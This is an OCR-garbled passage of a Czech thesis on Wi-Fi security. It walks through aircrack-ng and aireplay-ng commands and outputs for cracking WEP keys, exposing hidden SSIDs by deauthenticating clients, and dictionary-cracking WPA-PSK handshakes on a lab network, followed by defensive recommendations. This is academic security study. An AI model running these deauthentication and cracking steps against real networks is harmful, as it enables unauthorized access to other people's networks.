ifconfig ath@ hw ether 00:1F:3A:XX:XX:XX
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V tadu nékolika desitek minut (cca 25 min.) bylo odchyceno zhruba 120000 IV.

CH 7 1[ Elapsed: 30 mins ][ 2009-05-01 16:45

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1D:0F: 17412 115832 57 7 54. WEP WEP OPN
00:22:15: 4613 128 0 6 54 WPA2 CCMP PSK <length: 6>

00:02:72: 212 0 [0} 9 11 WEP WEP 23-1
BSSID STATION PWR Rate Lost Packets Probes

00:1D:0F: 00:1F:3A: 24 1- 1 5968 861934
(not associated) 00:12:0E: 12 0-1 0 4 1Inco

Obr. 13.13: Vystup programu airodump s po¢tem zachycenych IV

Nasledovalo tedy spusténi programu aircrack a aplikovani PTW utoku na zachycené IV.

bt aircrack-ng -y kujonovo2-01.ivs
Opening kujonovo2-01.1ivs
Read 120434 packets.

# BSSID ESSID Encryption

1 00:1D:0F: WEP (120431 IVs)
2 00:02:72: 23-1 Unknown

3 00:1D:0F: netdoma Unknown

Index number of target network 7 1

Opening kujonovo2-01.1ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 120431 ivs.
KEY FOUND! [ 6A:63: ] (ASCII:
Decrypted correctly: 100%

Obr. 13.14: Vysledek PTW utoku

Utok byl tedy i mimo laboratorni podminky tsp&$ny a béhem nékolika malo minut

jsme zabezpeceni sité prolomili.
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13.7. Prolomeni skrytého SSID AP

Jako dopliikové zabezpeceni bezdratové sité miize byt také aplikovana metoda zamezeni
vysilani SSID pfistupovym bodem. Tato metoda je ve své podstaté trivialni, nebot’ AP
nezobrazuje své jméno pouze v ramcich typu broadcast a beacon. Naopak v celé fad¢ dalSich
ramct SSID musi byt pfitomno, ¢ehoz pravé tento utok vyuziva. SSID sité se vysila
V nezaSifrované podobé, neni tedy zadny problém ho jednoduse odposlechnout. Jsou dvé
moznosti, jak tento Gtok provést — aktivni a pasivni forma. V piipad¢, kdy je na AP pfipojen
alesponl jeden klient, je mozno vyuzit pasivni formu utoku. Ve vSech dalSich pripadech je

nutno pouzit formu aktivni.

Utok zagneme klasickym spudténim aplikace airodump, jako tomu bylo u minulych

utokt. Po jeho spusténi jsme dostali nasledujici vystup:

Shell - Konsole

CH 4 ][ Elapsed: 1 min ][ 2009-04-23 16:57
BSSID PWR RXQ Beacons #Data, #/s MB ENC CIPHER AUTH ESSID

00:06:25:48B:2E: 42 100 822 831 54 WEP WEP <length: 4>
00:0D:97:04:B2: 0 0 0 54 WEP WEP )
00:0D:97:04:B7: 0 0 4 54 WEP WEP OPN Mesh
00:02:2D:4B:D6: 0 0 5 -1 OPN <length: 0>

BSSID STATION Rate Lost Packets Probes
00:06:25:4B:2E:32 00:11:D8:22:71:65 -2 841
00:0D : 00:18:DE:35:D1:26 - 15 Mesh

00:02:70:4B:D6:C5 00:0E:35:7B:DB.3F - 7 VUTBRNO
(not associated) 00:0F:3D:84:A7:51 - 2 vutbrno

MAC adresa autentizovaného klienta

Skryté SSID. Vidime pouze jeho
pocet znaki.

MAC adresa AP

Obr. 13.15: Zobrazeni AP s vypnutym pi‘enosem SSID

SSID je skryto, vidime pouze jeho délku. Zaroven si vSimneme, ze na AP je piipojen

jeden klient, cehoz vyuzijeme.
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Spustime aplikaci aireplay nasledujicim piikazem:

aireplay -0 5 -a 00:06:25:4B:2E:32 -c 00:11:D8:22:71:65 athe

Vyznam jednotlivych parametrt:

. -0 znamena deautentizacni utok

o -a 00:06:25:4B:2E:32 je MAC adresa AP

o -h 00:11:D8:22:71:65 je MAC adresa ptipojeného klienta
o ath0 je rozhrani utocici wi-fi karty

Program poté provede deautentizaci klienta od AP.

aireplay-ng -0 5 -a 00:06:25:4B:2E:32 -c 00:11:D8:22:71:65 atho
:11 Waiting for beacon frame (BSSID: 00:06:25:4B:2E:32) on channel 4
:12 Sending 64 directed DeAuth. STMAC: [00:11:D8:22:71:65] [ 7| 4 ACKs]
113 Sending 64 directed DeAuth. STMAC: [00:11:D8:22:71:65] [ 3| 3 ACKs]

:14 Sending 64 directed DeAuth. STMAC: [00:11:D8:22:71:65] [ 2| 1 ACKs]
116 Sending 64 directed DeAuth. STMAC: [00:11:D8:22:71:65] [ 2| 1 ACKs]
:17 Sending 64 directed DeAuth. STMAC: [00:11:D8:22:71:65] [ 0| 0 ACKs]

Obr. 13.16: Postup deautentizace klienta od AP

Vysledkem tohoto utoku byla jednak Usp&€$na deautentizace klienta, ale hlavné také
zobrazeni do této doby skrytého SSID sité. Tento utok je umoZznén, protoze pii deautentizaci
se posilaji tzv. deautentizacni pakety ve kterych je SSID obsazeno a ty nejsou samy o sob¢
autentizovany. Nasledné pak jsme pomoci spusténé aplikace airodump zachytili a z nich
ziskali SSID.

Elapsed: 5 mins ][ 2009-04-23 17:01
PWR RXQ Beacons #Data, #/s M ENC CIPHER AUTH ESSID
41 92 3422 831 0 WEP WEP OPN _TEST
0 0 43 -1 WEP WEP <length: 0>
] 0 265 WEP WEP GPN  Mesh
(] 0 ] 4 WEP WEP Mesh

STATION PWR Rate Lost Packets Probes

00:11:D08:22:71:65 24 1-1 ] ¥21 TEST
00:18:DE:35:D1:26 18 1- 2 89 395 Mesh
00:06:25:4B:2E:32 4 0~ 1 0 D

Odhalené SSID

Obr. 13.17: Vysledek deautentizace klienta
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14 UTOCENI NA WPA ALGORITMUS
14.1. Teorie

WPA je v soucasné dobé povazovano za takika neprolomitelné zabezpeceni. Jak se ale
ukazuje v mnohych ptipadech, nejslabsim mistem tohoto zabezpeCeni je sam uzivatel.
V dne$ni dobé neexistuje jiny zptisob na prolomeni WPA nez slovnikovy utok a to jesté
pouze na zabezpeceni WPA PSK, tedy mod s predsdilenym heslem. Toto heslo, nazyvané
passphrase, musi byt v délce od 8 do 63 znakii. Nami zadané heslo je potom upraveno

nasledujicim zplsobem [23] :

K1i¢ = PBKDF2(passphrase, ssid, 4096, 256)

PBKDF2 je standardizovand metoda pro derivaci kli¢e z passphrase a je dale
specifikovana v dokumentu RFC2898. Tato funkce vyuziva diskrétni pseudonahodné funkce
HMAC — SHAL. SHA-1 je funkce, ktera spocitd 160 bitovy hash z libovolného mnozstvi
vstupnich dat. Je detailné vysvétlena v dokumentu RFC3174. HMAC je zase standardizovana
metoda pro prevod Sifrovaciho hashe do klicované autentizani funkce a je popséana

v dokumentu RFC2104. [21] [22] [23]

Touto metodou jsou vyjmenované parametry nejprve pomoci HMAC - SHAL
4096 nasobn¢ iterovany a nasledn¢ iterovany znovu, pro ziskani potiebného poctu bitt klice.
Mnozstvi pocitanych dat je srovnatelné s vypoétem SHA1 hashe ze souboru vétSiho nez 1

MB. [22] [23]

Az tedy takto vygenerovany kli¢ je pfedavan mezi AP a klientem a na jeho zaklad¢ je
klient autentizovan. Jedind moznost jak prolomit zabezpeCeni WPA spociva tedy v odchyceni
téchto autentizacnich ramcu, které se nazyvaji 4-way handshake. Teorie 4-way handshake
byla popsana vyse. Existuji dva znamé zpusoby, jak tyto ramce odchytit. Prvni je pasivni
odposlech, kdy uto¢nik ¢eké na ptipojeni klienta a druhy je aktivni utok, kdy Gto¢nik generuje
do sit¢ deautentiza¢ni ramec, popsany v minulé kapitole a nasledné odchytava nove ustavené

klice.
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14.2.  Utok v praxi

Pted vlastnim Gtokem bylo samoziejmé nutné nov¢ nastavit Sifrovani na AP, stejné tak jako
na autentizovaném klientu. Bylo zvoleno jednoduché heslo, aby nevznikl problém s tim, Ze by

se toto nenachdzelo v pouzitém slovniku. Heslem byla nastavena ¢iselna kombinace

» 12345678

WPA The Access Point supports 4 different types of security modes.
WEP, WPA Pre-Shared Key, RADIUS, and WPA RADIUS. An easy way

Pre' Sllﬁl’@(l to utilize the maximum security of WPA Radius is to sign up for
Key the Linksys Wireless Guard service. To learn more, CLICK HERE.

Security Mode: I'.’u'P;L.F‘le-Shared Key |

WPA Algorithm: |TKIP ~|

WPA Shared Key: |l2345678|

Group Key e
Renewal: |3U'-' seconds

Obr. 14.1: Nastaveni WPA na strané routeru

Na klientské strané¢ bylo nutné pouZit aplikaci wpa_ supplicant, resp. nastavit jeji
konfiguracni soubor pro pouziti v nasi siti a nasledné aplikaci pied piistupem do sité spustit.
V konfigura¢nim souboru aplikace se nastavuje pouzité passphrase, frekvence, na které AP

vysila a SSID sité. Nasledné ptipojeni klienta je znazornéno na nésledujicim obrazku.

wpa_supplicant -D wext -i eth® -c /etc/wpa_supplicant.conf
Trylnq to associate with 00:06:25:4b:2e:32 (SSID='TEST' freq=2427 MHz)
Associated with 00:06:25:4b:2e:32

WPA: Key negotiation completed with 00:06:25:4b:2e:32 [PTK=TKIP GTK=TKIP]
CTRL-EVENT-CONNECTED - Connection to 00:06:25:4b:2e:32 completed (auth) [id=0 id_str=]
WPA: Group rekeying completed with 00:06:25:4b:2e:32 [GTK=TKIP]

Obr. 14.2: Postup p¥ipojeni k AP pomoci wpa_supplicant
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Vlastni utok zacind nam jiz zndmym zplsobem spusténi aplikace airodump pro zachytavani
paketi. Nyni vSak nestaci zachytadvat pouze IV, ale musime zachytavat celé pakety.

Zachytavani tedy zapneme nasledujicim ptikazem:

airodump-ng -b 00:06:25:4B:2E:32 -w pskc --ch 4 athe

Vyznam jednotlivych parametrt:

o -b 00:06:25:4B:2E:32 je MAC adresa AP

. -w pskc znamena zapis do souboru pskc.cap
o --ch 4 znamena odchytavani kanalu ¢.4

o ath0 je rozhrani utocici wi-fi karty

Dalsim krokem je deautentizace pfipojeného klienta, shodna s tou, kterd byla popsana

v kapitole o ziskani skrytého SSID sité, takze ji provedeme stejnym piikazem:

aireplay -0 5 -a 00:06:25:4B:2E:32 -c 00:11:D8:22:71:65 athe

V idedlnim piipadé mame nyni jiZ odchyceny 4-way handshake, takze muzeme

ukoncit aplikaci airodump a ji vytvotreny soubor dale zpracovat v aplikaci aircrack.

aircrack-ng -w password.lst pskc-01.cap

K rozsifrovani souboru byl pouzit volné dostupny slovnik z aplikace John the Ripper.
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Vyse zminovany piikaz provadi slovnikovy utok na nami zachyceny soubor. Jeho vysledek

demonstruje nésledujici obrazek:

Aircrack-ng 1.0 rcl rlos8s
00] 10 keys tested (124.52 k/s)
KEY FOUND! [ 12345678 ]

Master Key : 53 AC 7F C0O 21 48 BC 90 FF
6A 7E 46 9B 6B 2E A2 78 0OC

Transcient Key : EE 93 20 C9 9F A8 69 7D 65
9F FE 90 80 AD E8 3B CC FD
FC 9D 57 EC F3 5B 07 D8 48
EC EB 00 65 50 48 C4 F8 1F

EAPOL HMAC ; 42 BB FO BC A3 DE A9 60 BO

Obr. 14.3: Vysledek titoku na WPA zabezpeceni

Heslo bylo nalezeno ve slovniku za méné neZ jednu sekundu. Pfi tomto druhu utoku
samoziejmé hodné zavisi na tom, jak kvalitni slovnik pouZivame. V dnesni dobé€ se daji na
internetu najit velmi kvalitni a obsahlé slovniky. Paklize uzivatel zvoli snadno prolomitelné

heslo jako bylo prezentovano v mém piipad¢, je tedy i WPA zabezpeceni nedostatecné.

Krom klasické metody slovnikového utoku na WPA existuje jesté metoda zaloZzena na
porovnavani kontrolnich souctli. Vyuziva volné dostupné aplikace Cowpatty, piipadné i
genPMK pod OS Linux. Druhd jmenovana aplikace je schopna za pouziti slovniku a
parametru (SSID nami atakované sit¢) vygenerovat stejny hash, jako ten, ktery je popsan
Vv teoretické cCasti této kapitoly. Samoziejmé pouze v ptipadé, ze slovnik obsahuje nami
hledané tajné heslo. Tento hash, resp. urcité mnozstvi hasht, ulozi do souboru, s kterym pak
pracujeme v aplikaci Cowpatty. V ni poté po spusténi mizeme provést porovnani kontrolnich
souctli nami odchycenych ramct 4-way handshake s témi, které jsme si vygenerovali pomoci

aplikace genPMK diky postupu popsaném v piedchozim bodé. [8] [17]
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15 ZHODNOCENI

Bezdratové sité jsou v dnesni dobé jednou z nejvice perspektivnich forem pocitacovych siti.
Spolu s jejich rozvojem jde jak pozadavek na kvalitni a neprolomitelné zabezpeceni téchto
siti, tak bohuzel 1 snahy o pifekonani téchto zabezpeCeni. Dnesni technické prostredky
dovoluji zabezpecit bezdratovou sit’ takovym zplisobem, aby byla naprosto neprolomitelna.
Vsechny tyto technické vymozenosti ale narazeji na zdkladni kdmen trazu — na samotného
uzivatele. Kazda sit’ ma svij nejslabsi ¢lanek, ktery je ve velké mife pfedstavovan pravé
lidskym faktorem. BéZny uzivatel totiz vétSinou nedba na riznd doporuceni, at’ uz se jednd o
doporuceni od vyrobci pouzitého hardware, ¢i doporuceni od zkusenéjSich uzivatelll a vytvari
tim mimod¢&k prostiedi pro snadné utoceni na tyto sité. U béznych uzivatelid bezdratovych siti
by se toto z divodu nedostate¢né znalosti této problematiky dalo mozna i pochopit, horsi je
ale fakt, ze takovychto chyb se dopoustéji i néktefi sitovi spravci a vystavuji tak svou sit),

resp. svoji firmu, pouzivajici bezdratové spojeni, nebezpeci.

Prvnim moznym ,,odrazenim to¢nikti od utokd na nasi sit mize byt procedura
filtrace MAC adres téch klienti, kteti maji pravo se do sité pfipojit. Tato metoda je sama o
sob¢ nedostatecnd z diivodu, které jsou v praci popsany. Mohu ji tedy doporudit pouze
Vv ptipad¢, Ze se bude jednat o doplitkovou metodu k dalSimu, silnéjSimu, druhu zabezpeceni.
Skryti vysilani SSID na stran¢ AP lze zatadit do stejné kategorie. Tuto metodu lze snadnym
zpusobem obejit, avSak jak jiz bylo feCeno, jako doplikovou metodu zabezpeceni ji lze

jednoznacné doporucit.

Sifrovaci algoritmus WEP lze jiz povazovat za plnohodnotné zabezpedeni bezdratové
sité€. BohuZel v dnes$ni dobé je jiZ zndmo mnoho rGznych variant Gitokil na tento zabezpecovaci
algoritmus, vyuZivajici jeho chyby. At uZ je to maly pocet moznych IV, velmi chaba
autentizace uzivatele, nebo tfeba snadnd manipulovatelnost s podvrzenymi pakety v rdmci
komunikace v siti zabezpefené pravé timto druhem algoritmu. Ve své praci jsem proved]
mnozstvi riznych druhi utokd na tento algoritmus. Tyto utoky se 1i§i provedenim,
vlastnostmi, ¢asovou naroc¢nosti, financni naroc¢nosti a naro¢nosti obecné. Jedno vsak maji
spole¢né — vSechny vedly k zisku tajného kli¢e, kterym byla sit’ zabezpeCena. Z tohoto
divodu lze tento druh Sifrovaciho algoritmu doporucit pouze tehdy, neni-li mozné aplikovat

jiny, lepsi, druh zabezpeceni, naptiklad v ptipad¢ pouziti star§iho hardware, atp.
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Sifrovaci algoritmus WPA byl vytvofen jako nahrada za algoritmus WEP. Tento algoritmus
muze pracovat ve dvou variantach v zavislosti na tom, jestli pfi autentizaci uzivatele vyuziva
autentizacni server, nebo je tato procedura nahrazena vyuzitim sdileného hesla, ze kterého se
pro jednotlivé uzivatele generuji kli¢e. Utoky lze provést pouze na druhou vyse zmitiovanou
formu tohoto zabezpeceni, pficemz Uspésné jsou pouze za predpokladu, ze uzivatelé vyuziji
slabé heslo. Heslo je mozné odchytit diky skutecnosti, Ze pfi autentizaci uzivatele dochazi
Kk pfenosu pakett v oteviené podob¢. Tuto autentizaci 1ze odchytit dvéma zptsoby — aktivni a
pasivni formou. V pasivni formé musi utocnik cekat na to, az se klient pfipoji a teprve tehdy
ziska potiebné pakety. V aktivni formé tohoto utoku je utocnikem deautentizovan piipojeny
klient na AP, ten se bude logicky snazit o opétovné pfipojeni a my tim ziskdme potiebné
pakety. Timto zplsobem ziskdme nejenom tyto pakety, ale ve své podstaté se tato metoda

vyuziva také pti ziskani skrytého SSID sité.

Posledni moznou variantou Sifrovaciho algoritmu bezdratovych siti je algoritmus
WPAZ2. Tento algoritmus nové implementuje protokol CCMP a Sifrovani blokovou Sifrou
AES. V dnesni dob¢ je toto zabezpeceni to nejlepsi, které miZzeme v nasi siti nasadit. Zaroven
s jeho robustnosti jde ale 1 vypocetni naroc¢nost, takze se doporu€uje pro vyuZiti spiSe ve
firemnim prostfedi. Na domaci pouziti postaci Sifrovani typu WPA s dostatecné silnym
heslem. Kdyz navic do takto zabezpeCené sité pridame jesté dalsi doplikové prvky
bezpecnosti jako napiiklad omezeni vysilaciho vykonu antény pouze na vyZadovany prostor,

zamezeni odesilani SSID, filtraci MAC adres ptfipojovanych klientli, tak miizeme povazovat

nami vytvorenou sit’ za prakticky nenapadnutelnou.

Vsechny realizované ttoky vedly k nalezeni tajného klice. Utoky se také ziroven
mirné lisily ve sloZitosti, ale v zdsad€ jsou vSechny realizovatelné pii normalni znalosti dané
problematiky a vlastnictvi potfebného hardwaru. VSechny jsou také snadno realizovatelné
v praktickych podminkach, pouze nékteré obsahuji zvlastni podminky pro svij beéh
(autentizovaného klienta na AP, vyuziti PSK rezimu, atp.) VSechny poznatky, které vyplynuly

ze vSech realizovanych utok, jsou popsany v nasledujicich tabulkach.

Veskeré odchycené packety, screenshoty obrazovek a dal$i data vytvofena béhem

testovani, jsou nahrana na CD pfilozeném K této praci.
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Tab. 15.1: Tabulka zhodnoceni utoki ¢ast 1

Nazev utoku Kolektovani IV Generovani ARP | Generovani ARP
Typ Sifrovani WEP 64 | WEP 128 WEP 64 WEP 128
0S, pod kterym byl utok

proveden Windows XP Linux Backtrack 3 | Linux Backtrack 3
Druh utoku Pasivni Aktivni Aktivni
Metoda utoku PTW a FMS PTW PTW
Casova naroénost Gtoku Vyssi Nizsi Nizsi
ObtiZnost utoku Snadnd Vyssi Vyssi
Naroky na pouZity HW pfi

utoku Nizsi Vyssi Vyssi
Pocet nutnych IV nebo

paketd k utoku 40000 + | 300000 + 10000 + 40000 +
Pocet pouzitych IV nebo

paketd k utoku 320982 315594 120431 225161
Korektnost utoku 100% 100% 100% 100%
Poéet testovanych kli¢a 242 867 878 - 817
Casova naroénost zisku

tajného klice Os. 13min. 6s. Os. Os.

Tab. 15.2: Tabulka zhodnoceni utoki ¢ast 2

Nazev utoku KoreK chopchop | WPA PSK utok | Prolomeni SSID | Asociace na AP
Typ Sifrovani WEP 128 WPA TKIP - -
0S, pod kterym

byl utok

proveden Linux Backtrack 3 | Linux Backtrack 3 | Linux Backtrack 3 | Linux Backtrack 3
Druh Gtoku Aktivni Aktivni i pasivni | Aktivnii pasivni Aktivni
Metoda utoku PTW Slovnikovy - -
Casova naroénost

utoku Vyssi Stredni Nizka Nizka
Obtiznost utoku Vyssi Vyssi Nizka Nizka
Ndroky na

pouzity HW pfi

utoku Vyssi Vyssi NiZsi Vyssi
Pocet nutnych IV

nebo pakett k

utoku 40000 + - - -
Pocet pouiitych

IV nebo pakett k

utoku 86559 - - -
Korektnost utoku 100% 100% 100% 100%
Pocet

testovanych klict 741 10 - -
Casova naroénost

zisku tajného

klice Os. Os. - -
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16 ZAVER

V této diplomové praci bylo mym cilem sezndmeni se s bezdratovymi sitémi a jejich
zabezpeCenim. V nékolika kapitolach jsem se snazil o komplexni teoreticky popis
bezdratovych siti od jejich pocatku az po soucasnost s ohledem na vyvojové trendy a nutné
zmény v oblasti zabezpeceni. Byly vyjmenovany a popsany jednotlivé standardy IEEE
802.11, vcetné jejich kliCovych vlastnosti i nedostatkil. V praktické zavérecné ¢asti své prace
jsem se zaméfil jak na realizaci Gtokd sméfujicich na prolomeni zabezpecovacich algoritmil
bezdratovych siti, tak i na realizaci skriptu demonstrujiciho provoz bezdratové sité v sitovém

simulatoru NS2.

Realizované utoky byly vedeny rtiznymi metodami pod riznymi operacnimi systémy.
Byly popsany jednotlivé principy realizovanych utokti, pficemz byly nastinény vyhody a
nevyhody jednotlivych variant utoku, véetné nutnych podminek pro jejich realizaci. Byla
snaha o to, aby z prace vyplynulo doporuceni, jakym smérem se ubirat pii zabezpeceni nasi
vlastni bezdratove sité, jaké algoritmy vyuzit, jakym se vyvarovat a co naptiklad zvolit jako

doplitkovou ochranu.

Cast prace byla také vénovana programovani v prostiedi NS2. Byl vytvofen
jednoduchy skript demonstrujici provoz v bezdratové siti a bylo simulovédno nékolik
konkrétnich situaci chovani bezdratovych klientli. Samotné programovani v NS2 je dle mého
nazoru, alespon pro zacinajici uZivatele, velice naro¢né. Je tomu tak vzhledem k jeho textové
orientaci tohoto simulatoru, jakozto i diky tomu, Ze tento simulator neni podobny Zadnému
jinému bézné probiranému programovacimu jazyku. Mohou také vzniknout komplikace pfi
nutnosti vyuziti nastroje emulujiciho linuxovou platformu, pod kterou simulator funguje.
Nicméné prace s timto simulatorem byla velice zajimava a dle mého nazoru se jednalo o

velmi zajimavou zkuSenost.
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SEZNAM POUZITYCH ZKRATEK

ZKkratka Nazev
IEEE Institute of Electrical and Electronics Engineers
Wi-Fi Wireless Fidelity
FHSS Frequency Hopping Spread Spectrum
DSSS Direct Sequence Spread Spectrum
IrDA Infra Red Data Association
OFDM Orthogonal Frequency Division Multiplex
DBPSK Differential Binary Phase Shift Keying
DQPSK Differential Quaternary Phase Shift Keying
QAM Quadrature Amplitude Modulation
CSMA/CA Carrier Sense Multiple Access with Collision Avoidance
DIFS Distributed Inter Frame Space
RTS Request To Send
CTS Clear To Send
ACK Acknowledgement
CCK Complementary Code Keying
BPSK Bi-Phase Shift Keying
QPSK Quadriphase Phase Shift Keying
MIMO Multiple-input multiple-output
PCI Peripheral Computer Interconnect
MISO Multiple Input Single Output
SIMO Single Input Multiple Output
WEP Wired Equivalent Privacy
WPA Wi-Fi Protected Access
TKIP Temporal Key Integrity Protocol
MAC Message Authentication Code
MIC Message Integrity Code
CCMP Counter Mode with Cipher Block Chaining Message Authentication Code Protocol
AES Advanced Encryption Standard
PSK Pre-Shared Key
MAC Medium access control
SSID Service Set Identifier
Tcl Tool Command Language
OTcl Object Tool Command Language
TCP Transmission Control Protocol
UDP User Datagram Protocol
CBR Constant Bit Rate
FTP File Transfer Protocol
PCMCIA Personal Computer Memory Card International Association
Wi-Fi Wireless Fidelity
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ZKratka Nazev
CRC Cycle Redundancy Check;
EAP Extended Authentication Protocol;
IP Internet Protocol
ISO/OSI ISO/OSI referencni sitovy model
ARP Address Resoluton Protocol
HW Hardware
0S Operacni systém
MD5 Message Digest 5 algorithm
MPDU MAC Protocol Data Unit
MSDU MAC Service Data Unit
PBKDF2 Password-based Cryptography Standard
PDU Protokol Data Unit
PRGA Pseudo Random Generation Algorithm
KSA Key Scheduling Algorithm
RADIUS Remote Authentication Dial In User Service
RTS/CTS Request To Send / Clear To Send
XOR Bitova funkce
HMAC-SHA1 Hash Message Authentication Code-Secure Hash Algorithm
HMAC-MD5 Hash Message Authentication Code
v Initialization vector
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SEZNAM PRILOH

A: Pfilozené CD
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A PRILOZENE CD

Na pfilozeném CD k této diplomové praci jsem umistil vSechny zdrojové soubory, které jsem

k vypracovani pouzil. Pfilozené CD ma nasledujici strukturu:

- NS2
- PDF
- UTOKY
- XLS

Popis obsahu jednotlivych adresait:

NS2

Adresat obsahuje vSechny zdrojovd data, vytvofena pii praci se simuldtorem NS2.
V podadresaii se nachazi adresafe s jednotlivym méfenim (nazvané ,,1 X mereni a ,2 X
mereni), pficemz prvni ¢islo udava sérii méfeni a druhé udava cislo méteni. Dale adresaf
s vychozimi hodnotami pii kazdém méfeni, vytvoreny NS2 skript (adresat ,,ns2_skript®) a

vytvofeny skript v jazyce C++ (adresar ,,c_skript®).

PDF

Adresat obsahuje tuto diplomovou praci ve formatu . pdf

UTOKY

Adresat obsahuje jednotlivd data, nashromazdéna pii realizaci utokli na bezdratové sité.
Obsahuje 7 podadresait s vysledky jednotlivych utokii a se shromazdénymi daty a dale pak
jeden podadresar se sejmutymi screenshoty z OS Windows XP a Linux Backtrack pfi realizaci

utoku.

XLS

Adresat obsahuje zdrojova data a grafy pouzité pfi psani této prace.
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